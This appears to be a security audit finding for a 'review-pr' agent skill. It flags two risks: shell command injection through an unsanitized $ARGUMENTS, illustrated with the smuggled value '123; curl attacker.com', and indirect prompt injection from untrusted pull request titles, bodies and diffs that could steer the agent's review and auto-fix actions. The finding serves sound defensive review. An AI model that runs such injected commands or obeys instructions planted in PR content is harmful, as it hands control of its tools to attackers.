The Agent Skills Directory

[COMMAND_EXECUTION]: The instruction gh pr view $ARGUMENTS interpolates user-provided input directly into a shell command. If the platform does not sanitize $ARGUMENTS, a user could execute arbitrary commands or modify the intended behavior of the gh tool by injecting shell metacharacters (e.g., 123; curl attacker.com).
[PROMPT_INJECTION]: The skill is vulnerable to Indirect Prompt Injection as it processes untrusted content (titles, descriptions, and code) from GitHub pull requests. This content could be crafted to manipulate the agent's review conclusions or its 'auto-fix' suggestions.
Ingestion points: Pull request metadata (title, body) and file diffs retrieved via gh pr view as specified in the Instructions.
Boundary markers (absent): The prompt instructions do not utilize delimiters (like XML tags or triple quotes) or provide specific directives to the agent to disregard instructions found within the PR data.
Capability inventory: The agent has access to powerful tools including the GitHub CLI (gh), Git, and the ability to perform file modifications through its 'auto-fix' heuristic.
Sanitization (absent): No explicit sanitization or filtering logic is provided to verify the integrity of the data ingested from the pull request before it influences the agent's output or actions.

review-pr